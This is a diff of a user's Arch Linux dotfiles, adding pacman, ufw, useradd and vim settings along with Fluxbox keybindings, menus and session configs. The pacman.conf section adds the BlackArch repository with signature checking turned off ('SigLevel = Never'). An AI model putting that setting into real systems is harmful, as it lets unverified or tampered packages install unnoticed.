# after the header, and they will be used before the default mirrors.
|
||||||
|
|
||||||
|
#[testing]
|
||||||
|
#Include = /etc/pacman.d/mirrorlist
|
||||||
|
|
||||||
|
#[community-testing]
|
||||||
|
#Include = /etc/pacman.d/mirrorlist
|
||||||
|
|
||||||
|
#[multilib-testing]
|
||||||
|
#Include = /etc/pacman.d/mirrorlist
|
||||||
|
|
||||||
|
[core]
|
||||||
|
Include = /etc/pacman.d/mirrorlist
|
||||||
|
|
||||||
|
[extra]
|
||||||
|
Include = /etc/pacman.d/mirrorlist
|
||||||
|
|
||||||
|
[community]
|
||||||
|
Include = /etc/pacman.d/mirrorlist
|
||||||
|
|
||||||
|
# If you want to run 32 bit applications on your x86_64 system,
|
||||||
|
# enable the multilib repositories as required here.
|
||||||
|
|
||||||
|
[multilib]
|
||||||
|
Include = /etc/pacman.d/mirrorlist
|
||||||
|
|
||||||
|
# An example of a custom package repository. See the pacman manpage for
|
||||||
|
# tips on creating your own repositories.
|
||||||
|
#[custom]
|
||||||
|
#SigLevel = Optional TrustAll
|
||||||
|
#Server = file:///home/custompkgs
|
||||||
|
|
||||||
|
#[archlinuxfr]
|
||||||
|
#Server = http://repo.archlinux.fr/$arch
|
||||||
|
#SigLevel = Never
|
||||||
|
|
||||||
|
[blackarch]
|
||||||
|
Server = https://blackarch.org/blackarch/blackarch/os/$arch
|
||||||
|
SigLevel = Never
|
||||||
|
|
||||||
30
etc/passwd
Normal file
30
etc/passwd
Normal file
|
|
@ -0,0 +1,30 @@
|
||||||
|
# This file contains some information for
|
||||||
|
# the passwd (1) command and other tools
|
||||||
|
# creating or modifying passwords.
|
||||||
|
|
||||||
|
# Define default crypt hash.
|
||||||
|
# CRYPT={des,md5,blowfish,sha256,sha512}
|
||||||
|
CRYPT=sha512
|
||||||
|
|
||||||
|
# Use another crypt hash for group passwords.
|
||||||
|
# This is used by gpasswd, fallback is the CRYPT entry.
|
||||||
|
# GROUP_CRYPT=des
|
||||||
|
|
||||||
|
# We can override the default for a specific service
|
||||||
|
# by appending the service name (FILES, YP, NISPLUS, LDAP).
|
||||||
|
#
|
||||||
|
# For local files, use a more secure hash. We
|
||||||
|
# don't need to be portable here:
|
||||||
|
CRYPT_FILES=sha512
|
||||||
|
#
|
||||||
|
# For NIS, we should always use DES:
|
||||||
|
CRYPT_YP=des
|
||||||
|
|
||||||
|
# sometimes we need to specify special options for a hash (variable
|
||||||
|
# is prepended by the name of the crypt hash). In case of blowfish
|
||||||
|
# and sha* this is the number of rounds
|
||||||
|
# blowfish: 4-31
|
||||||
|
# BLOWFISH_CRYPT_FILES=5
|
||||||
|
# sha256/sha512: 1000-9999999
|
||||||
|
# SHA512_CRYPT_FILES=1000
|
||||||
|
|
||||||
2
etc/resolv.conf
Normal file
2
etc/resolv.conf
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
nameserver 127.0.0.1
|
||||||
|
options timeout:1
|
||||||
45
etc/ufw
Normal file
45
etc/ufw
Normal file
|
|
@ -0,0 +1,45 @@
|
||||||
|
# /etc/default/ufw
|
||||||
|
#
|
||||||
|
|
||||||
|
# Set to yes to apply rules to support IPv6 (no means only IPv6 on loopback
|
||||||
|
# accepted). You will need to 'disable' and then 'enable' the firewall for
|
||||||
|
# the changes to take affect.
|
||||||
|
IPV6=yes
|
||||||
|
|
||||||
|
# Set the default input policy to ACCEPT, DROP, or REJECT. Please note that if
|
||||||
|
# you change this you will most likely want to adjust your rules.
|
||||||
|
DEFAULT_INPUT_POLICY="DROP"
|
||||||
|
|
||||||
|
# Set the default output policy to ACCEPT, DROP, or REJECT. Please note that if
|
||||||
|
# you change this you will most likely want to adjust your rules.
|
||||||
|
DEFAULT_OUTPUT_POLICY="ACCEPT"
|
||||||
|
|
||||||
|
# Set the default forward policy to ACCEPT, DROP or REJECT. Please note that
|
||||||
|
# if you change this you will most likely want to adjust your rules
|
||||||
|
DEFAULT_FORWARD_POLICY="DROP"
|
||||||
|
|
||||||
|
# Set the default application policy to ACCEPT, DROP, REJECT or SKIP. Please
|
||||||
|
# note that setting this to ACCEPT may be a security risk. See 'man ufw' for
|
||||||
|
# details
|
||||||
|
DEFAULT_APPLICATION_POLICY="SKIP"
|
||||||
|
|
||||||
|
# By default, ufw only touches its own chains. Set this to 'yes' to have ufw
|
||||||
|
# manage the built-in chains too. Warning: setting this to 'yes' will break
|
||||||
|
# non-ufw managed firewall rules
|
||||||
|
MANAGE_BUILTINS=no
|
||||||
|
|
||||||
|
#
|
||||||
|
# IPT backend
|
||||||
|
#
|
||||||
|
# only enable if using iptables backend
|
||||||
|
IPT_SYSCTL=/etc/ufw/sysctl.conf
|
||||||
|
|
||||||
|
# Extra connection tracking modules to load. Complete list can be found in
|
||||||
|
# net/netfilter/Kconfig of your kernel source. Some common modules:
|
||||||
|
# nf_conntrack_irc, nf_nat_irc: DCC (Direct Client to Client) support
|
||||||
|
# nf_conntrack_netbios_ns: NetBIOS (samba) client support
|
||||||
|
# nf_conntrack_pptp, nf_nat_pptp: PPTP over stateful firewall/NAT
|
||||||
|
# nf_conntrack_ftp, nf_nat_ftp: active FTP support
|
||||||
|
# nf_conntrack_tftp, nf_nat_tftp: TFTP support (server side)
|
||||||
|
IPT_MODULES="nf_conntrack_ftp nf_nat_ftp nf_conntrack_netbios_ns"
|
||||||
|
|
||||||
9
etc/useradd
Normal file
9
etc/useradd
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
# useradd defaults file for ArchLinux
|
||||||
|
# original changes by TomK
|
||||||
|
GROUP=users
|
||||||
|
HOME=/home
|
||||||
|
INACTIVE=-1
|
||||||
|
EXPIRE=
|
||||||
|
SHELL=/bin/bash
|
||||||
|
SKEL=/etc/skel
|
||||||
|
CREATE_MAIL_SPOOL=no
|
||||||
27
etc/vimrc
Normal file
27
etc/vimrc
Normal file
|
|
@ -0,0 +1,27 @@
|
||||||
|
" Vim configuration file
|
||||||
|
|
||||||
|
syntax on
|
||||||
|
set guifont=Monospace\ Bold\ 12
|
||||||
|
colors industry
|
||||||
|
set background=dark
|
||||||
|
|
||||||
|
" Uncomment the following to have Vim jump to the last position when
|
||||||
|
" reopening a file
|
||||||
|
if has("autocmd")
|
||||||
|
au BufReadPost * if line("'\"") > 1 && line("'\"") <= line("$") | exe "normal! g'\"" | endif
|
||||||
|
endif
|
||||||
|
|
||||||
|
" Uncomment the following to have Vim load indentation rules and plugins
|
||||||
|
" according to the detected filetype.
|
||||||
|
if has("autocmd")
|
||||||
|
filetype plugin indent on
|
||||||
|
endif
|
||||||
|
|
||||||
|
set showmatch
|
||||||
|
"set mouse=a
|
||||||
|
set tabstop=4
|
||||||
|
set shiftwidth=4
|
||||||
|
set smartindent
|
||||||
|
set autoindent
|
||||||
|
set cindent
|
||||||
|
"set mouse=a
|
||||||
4
etc/virtualbox.conf
Normal file
4
etc/virtualbox.conf
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
vboxdrv
|
||||||
|
vboxnetflt
|
||||||
|
vboxnetadp
|
||||||
|
vboxpci
|
||||||
7
fluxbox/apps
Normal file
7
fluxbox/apps
Normal file
|
|
@ -0,0 +1,7 @@
|
||||||
|
[app] (name=fbrun)
|
||||||
|
[Position] (CENTER) {0 0}
|
||||||
|
[Layer] {2}
|
||||||
|
[end]
|
||||||
|
[app] (name=xclock) (class=XClock)
|
||||||
|
[Close] {yes}
|
||||||
|
[end]
|
||||||
BIN
fluxbox/backgrounds/archlinux.png
Normal file
BIN
fluxbox/backgrounds/archlinux.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1 MiB |
12
fluxbox/fbdesk
Normal file
12
fluxbox/fbdesk
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
session.styleFile: /usr/share/fluxbox/styles/BlueNight
|
||||||
|
fbdesk.textPlacement: Bottom
|
||||||
|
fbdesk.iconFile: ~/.fluxbox/fbdesk.icons
|
||||||
|
fbdesk.textAlpha: 0
|
||||||
|
fbdesk.textBackground: white
|
||||||
|
fbdesk.snapX: 5
|
||||||
|
fbdesk.font: fixed
|
||||||
|
fbdesk.iconAlpha: 255
|
||||||
|
fbdesk.snapY: 5
|
||||||
|
fbdesk.doubleClickInterval: 200
|
||||||
|
fbdesk.textColor: black
|
||||||
|
fbdesk.lockPositions: false
|
||||||
7
fluxbox/fbdesk.icons
Normal file
7
fluxbox/fbdesk.icons
Normal file
|
|
@ -0,0 +1,7 @@
|
||||||
|
[Desktop Entry]
|
||||||
|
Name=default
|
||||||
|
Exec=
|
||||||
|
Icon=
|
||||||
|
Pos= 32 32
|
||||||
|
[end]
|
||||||
|
|
||||||
7
fluxbox/fbrun_history
Normal file
7
fluxbox/fbrun_history
Normal file
|
|
@ -0,0 +1,7 @@
|
||||||
|
firefox-beta-bin
|
||||||
|
signal-desktop-beta
|
||||||
|
riot-desktop
|
||||||
|
telegram
|
||||||
|
scrot /home/shl/fluxbox.png
|
||||||
|
weechat
|
||||||
|
terminology
|
||||||
78
fluxbox/init
Normal file
78
fluxbox/init
Normal file
|
|
@ -0,0 +1,78 @@
|
||||||
|
session.screen0.menu.alpha: 255
|
||||||
|
session.screen0.tab.placement: TopLeft
|
||||||
|
session.screen0.tab.width: 64
|
||||||
|
session.screen0.slit.layer: AboveDock
|
||||||
|
session.screen0.slit.onhead: 0
|
||||||
|
session.screen0.slit.autoHide: false
|
||||||
|
session.screen0.slit.acceptKdeDockapps: true
|
||||||
|
session.screen0.slit.maxOver: false
|
||||||
|
session.screen0.slit.placement: RightBottom
|
||||||
|
session.screen0.slit.alpha: 255
|
||||||
|
session.screen0.tabs.usePixmap: true
|
||||||
|
session.screen0.tabs.maxOver: false
|
||||||
|
session.screen0.tabs.intitlebar: true
|
||||||
|
session.screen0.iconbar.iconTextPadding: 10
|
||||||
|
session.screen0.iconbar.usePixmap: true
|
||||||
|
session.screen0.iconbar.iconWidth: 128
|
||||||
|
session.screen0.iconbar.alignment: Relative
|
||||||
|
session.screen0.iconbar.mode: {static groups} (workspace)
|
||||||
|
session.screen0.titlebar.left: Stick
|
||||||
|
session.screen0.titlebar.right: Minimize Maximize Close
|
||||||
|
session.screen0.toolbar.layer: Dock
|
||||||
|
session.screen0.toolbar.visible: true
|
||||||
|
session.screen0.toolbar.autoHide: false
|
||||||
|
session.screen0.toolbar.tools: prevworkspace, workspacename, nextworkspace, iconbar, systemtray, clock
|
||||||
|
session.screen0.toolbar.maxOver: false
|
||||||
|
session.screen0.toolbar.height: 0
|
||||||
|
session.screen0.toolbar.onhead: 1
|
||||||
|
session.screen0.toolbar.alpha: 255
|
||||||
|
session.screen0.toolbar.placement: BottomCenter
|
||||||
|
session.screen0.toolbar.widthPercent: 100
|
||||||
|
session.screen0.window.focus.alpha: 255
|
||||||
|
session.screen0.window.unfocus.alpha: 255
|
||||||
|
session.screen0.clientMenu.usePixmap: true
|
||||||
|
session.screen0.maxDisableResize: false
|
||||||
|
session.screen0.windowPlacement: RowMinOverlapPlacement
|
||||||
|
session.screen0.focusModel: ClickFocus
|
||||||
|
session.screen0.workspaces: 1
|
||||||
|
session.screen0.allowRemoteActions: false
|
||||||
|
session.screen0.edgeSnapThreshold: 10
|
||||||
|
session.screen0.defaultDeco: NORMAL
|
||||||
|
session.screen0.menuDelay: 200
|
||||||
|
session.screen0.workspacewarping: true
|
||||||
|
session.screen0.strftimeFormat: %k:%M
|
||||||
|
session.screen0.colPlacementDirection: TopToBottom
|
||||||
|
session.screen0.tooltipDelay: 500
|
||||||
|
session.screen0.clickRaises: true
|
||||||
|
session.screen0.maxIgnoreIncrement: true
|
||||||
|
session.screen0.workspaceNames: Area 1,Workspace 2,Workspace 3,Workspace 4,Workspace 5,
|
||||||
|
session.screen0.windowMenu: /home/shl/.fluxbox/windowmenu
|
||||||
|
session.screen0.showwindowposition: false
|
||||||
|
session.screen0.autoRaise: true
|
||||||
|
session.screen0.rootCommand: ~/.fehbg
|
||||||
|
session.screen0.maxDisableMove: false
|
||||||
|
session.screen0.opaqueMove: true
|
||||||
|
session.screen0.focusNewWindows: true
|
||||||
|
session.screen0.fullMaximization: false
|
||||||
|
session.screen0.focusSameHead: false
|
||||||
|
session.screen0.noFocusWhileTypingDelay: 0
|
||||||
|
session.screen0.tabFocusModel: ClickToTabFocus
|
||||||
|
session.screen0.rowPlacementDirection: LeftToRight
|
||||||
|
session.screen0.demandsAttentionTimeout: 500
|
||||||
|
session.cacheMax: 200
|
||||||
|
session.menuFile: ~/.fluxbox/menu
|
||||||
|
session.doubleClickInterval: 250
|
||||||
|
session.cacheLife: 5
|
||||||
|
session.appsFile: /home/shl/.fluxbox/apps
|
||||||
|
session.keyFile: ~/.fluxbox/keys
|
||||||
|
session.configVersion: 13
|
||||||
|
session.ignoreBorder: false
|
||||||
|
session.slitlistFile: /home/shl/.fluxbox/slitlist
|
||||||
|
session.styleOverlay: /home/shl/.fluxbox/overlay
|
||||||
|
session.menuSearch: itemstart
|
||||||
|
session.autoRaiseDelay: 250
|
||||||
|
session.forcePseudoTransparency: false
|
||||||
|
session.tabPadding: 0
|
||||||
|
session.styleFile: /usr/share/fluxbox/styles/BlueNight
|
||||||
|
session.colorsPerChannel: 4
|
||||||
|
session.tabsAttachArea: Window
|
||||||
152
fluxbox/keys
Normal file
152
fluxbox/keys
Normal file
|
|
@ -0,0 +1,152 @@
|
||||||
|
# click on the desktop to get menus
|
||||||
|
OnDesktop Mouse1 :HideMenus
|
||||||
|
OnDesktop Mouse2 :WorkspaceMenu
|
||||||
|
OnDesktop Mouse3 :RootMenu
|
||||||
|
|
||||||
|
#Open firefox
|
||||||
|
Mod1 f :Exec firefox-beta
|
||||||
|
|
||||||
|
#Open PCmanfm
|
||||||
|
Mod1 F3 :Exec pcmanfm
|
||||||
|
|
||||||
|
# scroll on the desktop to change workspaces
|
||||||
|
OnDesktop Mouse4 :PrevWorkspace
|
||||||
|
OnDesktop Mouse5 :NextWorkspace
|
||||||
|
|
||||||
|
# scroll on the toolbar to change current window
|
||||||
|
OnToolbar Mouse4 :PrevWindow {static groups} (iconhidden=no)
|
||||||
|
OnToolbar Mouse5 :NextWindow {static groups} (iconhidden=no)
|
||||||
|
|
||||||
|
# alt + left/right click to move/resize a window
|
||||||
|
OnWindow Mod1 Mouse1 :MacroCmd {Raise} {Focus} {StartMoving}
|
||||||
|
OnWindowBorder Move1 :StartMoving
|
||||||
|
|
||||||
|
OnWindow Mod1 Mouse3 :MacroCmd {Raise} {Focus} {StartResizing NearestCorner}
|
||||||
|
OnLeftGrip Move1 :StartResizing bottomleft
|
||||||
|
OnRightGrip Move1 :StartResizing bottomright
|
||||||
|
|
||||||
|
# alt + middle click to lower the window
|
||||||
|
OnWindow Mod1 Mouse2 :Lower
|
||||||
|
|
||||||
|
# control-click a window's titlebar and drag to attach windows
|
||||||
|
OnTitlebar Control Mouse1 :StartTabbing
|
||||||
|
|
||||||
|
# double click on the titlebar to shade
|
||||||
|
OnTitlebar Double Mouse1 :Shade
|
||||||
|
|
||||||
|
# left click on the titlebar to move the window
|
||||||
|
OnTitlebar Mouse1 :MacroCmd {Raise} {Focus} {ActivateTab}
|
||||||
|
OnTitlebar Move1 :StartMoving
|
||||||
|
|
||||||
|
# middle click on the titlebar to lower
|
||||||
|
OnTitlebar Mouse2 :Lower
|
||||||
|
|
||||||
|
# right click on the titlebar for a menu of options
|
||||||
|
OnTitlebar Mouse3 :WindowMenu
|
||||||
|
|
||||||
|
# alt-tab
|
||||||
|
Mod1 Tab :NextWindow {groups} (workspace=[current])
|
||||||
|
Mod1 Shift Tab :PrevWindow {groups} (workspace=[current])
|
||||||
|
|
||||||
|
# cycle through tabs in the current window
|
||||||
|
Mod4 Tab :NextTab
|
||||||
|
Mod4 Shift Tab :PrevTab
|
||||||
|
|
||||||
|
# go to a specific tab in the current window
|
||||||
|
Mod4 1 :Tab 1
|
||||||
|
Mod4 2 :Tab 2
|
||||||
|
Mod4 3 :Tab 3
|
||||||
|
Mod4 4 :Tab 4
|
||||||
|
Mod4 5 :Tab 5
|
||||||
|
Mod4 6 :Tab 6
|
||||||
|
Mod4 7 :Tab 7
|
||||||
|
Mod4 8 :Tab 8
|
||||||
|
Mod4 9 :Tab 9
|
||||||
|
|
||||||
|
# open a terminal
|
||||||
|
Mod1 F1 :Exec xfce4-terminal
|
||||||
|
|
||||||
|
# open a dialog to run programs
|
||||||
|
Mod1 F2 :Exec dmenu_run
|
||||||
|
|
||||||
|
# volume settings, using common keycodes
|
||||||
|
# if these don't work, use xev to find out your real keycodes
|
||||||
|
123 :Exec pamixer -i 5
|
||||||
|
122 :Exec pamixer -d 5
|
||||||
|
121 :Exec pamixer -t
|
||||||
|
|
||||||
|
# Set the brightness
|
||||||
|
233 :Exec xbacklight -inc 5
|
||||||
|
232 :Exec xbacklight -dec 5
|
||||||
|
|
||||||
|
# current window commands
|
||||||
|
Mod1 F4 :Close
|
||||||
|
Mod1 F5 :Kill
|
||||||
|
Mod1 F9 :Minimize
|
||||||
|
Mod1 F10 :Maximize
|
||||||
|
Mod1 F11 :Fullscreen
|
||||||
|
|
||||||
|
#Open Root Terminal
|
||||||
|
Mod1 r :Exec rootterm
|
||||||
|
#Take Screenshots
|
||||||
|
107 :Exec pt
|
||||||
|
|
||||||
|
# open the window menu
|
||||||
|
Mod1 space :WindowMenu
|
||||||
|
|
||||||
|
# exit fluxbox
|
||||||
|
Control Mod1 Delete :Exit
|
||||||
|
|
||||||
|
# change to previous/next workspace
|
||||||
|
Control Mod1 Left :PrevWorkspace
|
||||||
|
Control Mod1 Right :NextWorkspace
|
||||||
|
|
||||||
|
# send the current window to previous/next workspace
|
||||||
|
Mod4 Left :SendToPrevWorkspace
|
||||||
|
Mod4 Right :SendToNextWorkspace
|
||||||
|
|
||||||
|
# send the current window and follow it to previous/next workspace
|
||||||
|
Control Mod4 Left :TakeToPrevWorkspace
|
||||||
|
Control Mod4 Right :TakeToNextWorkspace
|
||||||
|
|
||||||
|
# change to a specific workspace
|
||||||
|
Control F1 :Workspace 1
|
||||||
|
Control F2 :Workspace 2
|
||||||
|
Control F3 :Workspace 3
|
||||||
|
Control F4 :Workspace 4
|
||||||
|
Control F5 :Workspace 5
|
||||||
|
Control F6 :Workspace 6
|
||||||
|
Control F7 :Workspace 7
|
||||||
|
Control F8 :Workspace 8
|
||||||
|
Control F9 :Workspace 9
|
||||||
|
Control F10 :Workspace 10
|
||||||
|
Control F11 :Workspace 11
|
||||||
|
Control F12 :Workspace 12
|
||||||
|
|
||||||
|
# send the current window to a specific workspace
|
||||||
|
Mod4 F1 :SendToWorkspace 1
|
||||||
|
Mod4 F2 :SendToWorkspace 2
|
||||||
|
Mod4 F3 :SendToWorkspace 3
|
||||||
|
Mod4 F4 :SendToWorkspace 4
|
||||||
|
Mod4 F5 :SendToWorkspace 5
|
||||||
|
Mod4 F6 :SendToWorkspace 6
|
||||||
|
Mod4 F7 :SendToWorkspace 7
|
||||||
|
Mod4 F8 :SendToWorkspace 8
|
||||||
|
Mod4 F9 :SendToWorkspace 9
|
||||||
|
Mod4 F10 :SendToWorkspace 10
|
||||||
|
Mod4 F11 :SendToWorkspace 11
|
||||||
|
Mod4 F12 :SendToWorkspace 12
|
||||||
|
|
||||||
|
# send the current window and change to a specific workspace
|
||||||
|
Control Mod4 F1 :TakeToWorkspace 1
|
||||||
|
Control Mod4 F2 :TakeToWorkspace 2
|
||||||
|
Control Mod4 F3 :TakeToWorkspace 3
|
||||||
|
Control Mod4 F4 :TakeToWorkspace 4
|
||||||
|
Control Mod4 F5 :TakeToWorkspace 5
|
||||||
|
Control Mod4 F6 :TakeToWorkspace 6
|
||||||
|
Control Mod4 F7 :TakeToWorkspace 7
|
||||||
|
Control Mod4 F8 :TakeToWorkspace 8
|
||||||
|
Control Mod4 F9 :TakeToWorkspace 9
|
||||||
|
Control Mod4 F10 :TakeToWorkspace 10
|
||||||
|
Control Mod4 F11 :TakeToWorkspace 11
|
||||||
|
Control Mod4 F12 :TakeToWorkspace 12
|
||||||
1
fluxbox/lastwallpaper
Normal file
1
fluxbox/lastwallpaper
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
$full $full|/home/shl/Pictures/Images/archlinux.png||:0.0
|
||||||
134
fluxbox/menu
Normal file
134
fluxbox/menu
Normal file
|
|
@ -0,0 +1,134 @@
|
||||||
|
#
|
||||||
|
## Menu generated with fbmenugen v0.82
|
||||||
|
#
|
||||||
|
|
||||||
|
[begin] (Fluxbox)
|
||||||
|
[encoding] {UTF-8}
|
||||||
|
[exec] (File Manager) {pcmanfm} </home/shl/.config/fbmenugen/icons/31da3d0273cb377eba2bd0f9c5e9562d.png>
|
||||||
|
[exec] (Terminal) {xterm} </home/shl/.config/fbmenugen/icons/91d3653607d810730f91f6cdd7836392.png>
|
||||||
|
[exec] (Web Browser) {xdg-open http://} </home/shl/.config/fbmenugen/icons/cac18d2e0a8de6e4040b9799b8159d9c.png>
|
||||||
|
[exec] (Run command) {fbrun} </home/shl/.config/fbmenugen/icons/36659139ccce27adfbee9a90a3870aee.png>
|
||||||
|
[separator]
|
||||||
|
[submenu] (Accessories) </home/shl/.config/fbmenugen/icons/ab74f94e3a06ebb2c29ca9e8f56a9e39.png>
|
||||||
|
[exec] (About Xfce) {xfce4-about} </home/shl/.config/fbmenugen/icons/3e1a000d897e404f02a8c85adf62e50a.png>
|
||||||
|
[exec] (Android File Transfer (MTP\)) {android-file-transfer} </home/shl/.config/fbmenugen/icons/91528bca70f3f750de591253654f385c.png>
|
||||||
|
[exec] (Conky Manager) {conky-manager} </home/shl/.config/fbmenugen/icons/c6ef3e0be2134fdec9d24d1415671ab9.png>
|
||||||
|
[exec] (Enlightenment File Manager) {enlightenment_filemanager} </home/shl/.config/fbmenugen/icons/7af17b5fe5b853186dcf5c25e16904fc.png>
|
||||||
|
[exec] (File Manager PCManFM) {pcmanfm} </home/shl/.config/fbmenugen/icons/31da3d0273cb377eba2bd0f9c5e9562d.png>
|
||||||
|
[exec] (GVim) {gvim -f} </home/shl/.config/fbmenugen/icons/938706f70cf2803c16ee2e9449694d1f.png>
|
||||||
|
[exec] (Leafpad) {leafpad} </home/shl/.config/fbmenugen/icons/94ddca96f7ceccfd59d859778984b0a4.png>
|
||||||
|
[exec] (Nextcloud desktop sync client) {nextcloud} </home/shl/.config/fbmenugen/icons/a961c3edf40eb764762d46f2cc836ad4.png>
|
||||||
|
[exec] (Passwords and Keys) {/usr/bin/seahorse} </home/shl/.config/fbmenugen/icons/adb9265c2c8d8463537df6a1a91e46fa.png>
|
||||||
|
[exec] (Vim) {xterm -e 'vim'} </home/shl/.config/fbmenugen/icons/938706f70cf2803c16ee2e9449694d1f.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Development) </home/shl/.config/fbmenugen/icons/619ca8a47338e825eeb354ceaa176e26.png>
|
||||||
|
[exec] (Genymotion Player) {/usr/bin/genymotion-player} <>
|
||||||
|
[exec] (Genymotion) {/usr/bin/genymotion} </home/shl/.config/fbmenugen/icons/a704f1245d42179c84741c19e5c12d03.png>
|
||||||
|
[exec] (OpenJDK 1.7.0 Policy Tool) {/usr/lib/jvm/java-7-openjdk/jre/bin/policytool} <>
|
||||||
|
[exec] (Qt4 Assistant) {assistant-qt4} </home/shl/.config/fbmenugen/icons/220295a0c1cb459c9925f8cfb90779d3.png>
|
||||||
|
[exec] (Qt4 Designer) {designer-qt4} </home/shl/.config/fbmenugen/icons/f58bdceff1efbf18d4ad602362799d2e.png>
|
||||||
|
[exec] (Qt4 Linguist) {linguist-qt4} </home/shl/.config/fbmenugen/icons/541ca7fd34cf9eb56c0ae9723716a340.png>
|
||||||
|
[exec] (Qt4 QDbusViewer) {qdbusviewer-qt4} </home/shl/.config/fbmenugen/icons/90ad7a1b25b0a3fe9869f8fc85e464fb.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Education) </home/shl/.config/fbmenugen/icons/f278f68c1f858b370e5d7689295eee4f.png>
|
||||||
|
[exec] (LibreOffice Math) {libreoffice --math} </home/shl/.config/fbmenugen/icons/6cbf8e856dd7d14e0416aadd0b80496e.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Graphics) </home/shl/.config/fbmenugen/icons/1a0035d77f860b59119770823d32a101.png>
|
||||||
|
[exec] (GNU Image Manipulation Program) {gimp-2.8} </home/shl/.config/fbmenugen/icons/f6afccc8dacf6a53973ed809b9f144c6.png>
|
||||||
|
[exec] (LibreOffice Draw) {libreoffice --draw} </home/shl/.config/fbmenugen/icons/da74e7b7a68c743ff997bf7bc1899305.png>
|
||||||
|
[exec] (Viewnior) {viewnior} </home/shl/.config/fbmenugen/icons/08306ef4677b66fd2924a627ec027f02.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Multimedia) </home/shl/.config/fbmenugen/icons/3844d5c90bc4806f394e326876a4f275.png>
|
||||||
|
[exec] (PulseAudio Volume Control) {pavucontrol} </home/shl/.config/fbmenugen/icons/bde380bf7f4b4e91411f58133ba919fb.png>
|
||||||
|
[exec] (Qt V4L2 test Utility) {qv4l2} </home/shl/.config/fbmenugen/icons/bb9458fc0b49586b5c69cb232edeb022.png>
|
||||||
|
[exec] (VLC media player) {/usr/bin/vlc --started-from-file} </home/shl/.config/fbmenugen/icons/1b1e721ca072f3b7239db8f04838f717.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Network) </home/shl/.config/fbmenugen/icons/e278431f8cb758812891b3892daaaaff.png>
|
||||||
|
[exec] (AnyDesk) {anydesk} </home/shl/.config/fbmenugen/icons/5dae854c1791c826c2791f1073a53c6a.png>
|
||||||
|
[exec] (Avahi SSH Server Browser) {/usr/bin/bssh} </home/shl/.config/fbmenugen/icons/fd7d664b90d4b967dbfbb02fe5ac354f.png>
|
||||||
|
[exec] (Avahi VNC Server Browser) {/usr/bin/bvnc} </home/shl/.config/fbmenugen/icons/fd7d664b90d4b967dbfbb02fe5ac354f.png>
|
||||||
|
[exec] (FileZilla) {filezilla} </home/shl/.config/fbmenugen/icons/c859203afa5aab4b1e06871ddcd36753.png>
|
||||||
|
[exec] (Firefox Beta) {firefox-beta} </home/shl/.config/fbmenugen/icons/b171a4fb8c9330f518f5c130285c0d5f.png>
|
||||||
|
[exec] (Pidgin Internet Messenger) {pidgin} </home/shl/.config/fbmenugen/icons/34434e53eb8e134808ccf341ab3a42d5.png>
|
||||||
|
[exec] (qBittorrent) {qbittorrent} </home/shl/.config/fbmenugen/icons/6f38335009439827eb5d5bf6663f7ccc.png>
|
||||||
|
[exec] (Signal Beta) {"/opt/Signal Beta/signal-desktop-beta"} </home/shl/.config/fbmenugen/icons/2cc606f423bc48e98a180ea7d8983394.png>
|
||||||
|
[exec] (Tor-Browser (en-US\)) {/usr/bin/tor-browser-en} </home/shl/.config/fbmenugen/icons/ce74a16773756a1d60ab30d62b851177.png>
|
||||||
|
[exec] (Wireshark (GTK+\)) {wireshark-gtk} </home/shl/.config/fbmenugen/icons/46142ec95597736e0047c0b9825eab6c.png>
|
||||||
|
[exec] (Zenmap (as root\)) {/usr/share/zenmap/su-to-zenmap.sh} </home/shl/.config/fbmenugen/icons/e96c957960fd2d2741811f8672de0b51.png>
|
||||||
|
[exec] (Zenmap) {zenmap} </home/shl/.config/fbmenugen/icons/e96c957960fd2d2741811f8672de0b51.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Office) </home/shl/.config/fbmenugen/icons/6dac371ae3162db47d6f0fb9b719eb33.png>
|
||||||
|
[exec] (LibreOffice Base) {libreoffice --base} </home/shl/.config/fbmenugen/icons/5f8aedf1f9327a8d27012d397aea39c1.png>
|
||||||
|
[exec] (LibreOffice Calc) {libreoffice --calc} </home/shl/.config/fbmenugen/icons/07e0745e604406e96a3d7d2691024716.png>
|
||||||
|
[exec] (LibreOffice Draw) {libreoffice --draw} </home/shl/.config/fbmenugen/icons/da74e7b7a68c743ff997bf7bc1899305.png>
|
||||||
|
[exec] (LibreOffice Impress) {libreoffice --impress} </home/shl/.config/fbmenugen/icons/ac17364caaca557b6c7e4249d07a45d7.png>
|
||||||
|
[exec] (LibreOffice Math) {libreoffice --math} </home/shl/.config/fbmenugen/icons/6cbf8e856dd7d14e0416aadd0b80496e.png>
|
||||||
|
[exec] (LibreOffice Writer) {libreoffice --writer} </home/shl/.config/fbmenugen/icons/d546447d079c8a6f7c81e7eb7145d04d.png>
|
||||||
|
[exec] (LibreOffice) {libreoffice} </home/shl/.config/fbmenugen/icons/e24aaf7f8770cfd3ba3ce78862cbb727.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Other) </home/shl/.config/fbmenugen/icons/146b15d6b4eb497a798fa4616ea94add.png>
|
||||||
|
[exec] (Terminal root) {gksu terminology} </home/shl/.config/fbmenugen/icons/ffcd1711c0ef004726cece6861802dcb.png>
|
||||||
|
[end]
|
||||||
|
[submenu] (Settings) </home/shl/.config/fbmenugen/icons/5b0a7a75be5db59c96ae72310849179a.png>
|
||||||
|
[exec] (Desktop Preferences) {pcmanfm --desktop-pref} </home/shl/.config/fbmenugen/icons/4ecb990a01d65219a346631756f96359.png>
|
||||||
|
[exec] (Firewall Configuration) {gufw} </home/shl/.config/fbmenugen/icons/b8de1d3c6e009b288cb7339b90421762.png>
|
||||||
|
[exec] (Network Connections) {nm-connection-editor} </home/shl/.config/fbmenugen/icons/f09ef867c652c8c4c21b1506b384fa8a.png>
|
||||||
|
[exec] (Preferred Applications) {libfm-pref-apps} </home/shl/.config/fbmenugen/icons/52b3319ccfa5ab044b02dc12c945c3f1.png>
|
||||||
|
[exec] (Privilege granting) {gksu-properties} </home/shl/.config/fbmenugen/icons/a6f4f433aa8a72d8a180c77f748b7701.png>
|
||||||
|
[end]
|
||||||
|
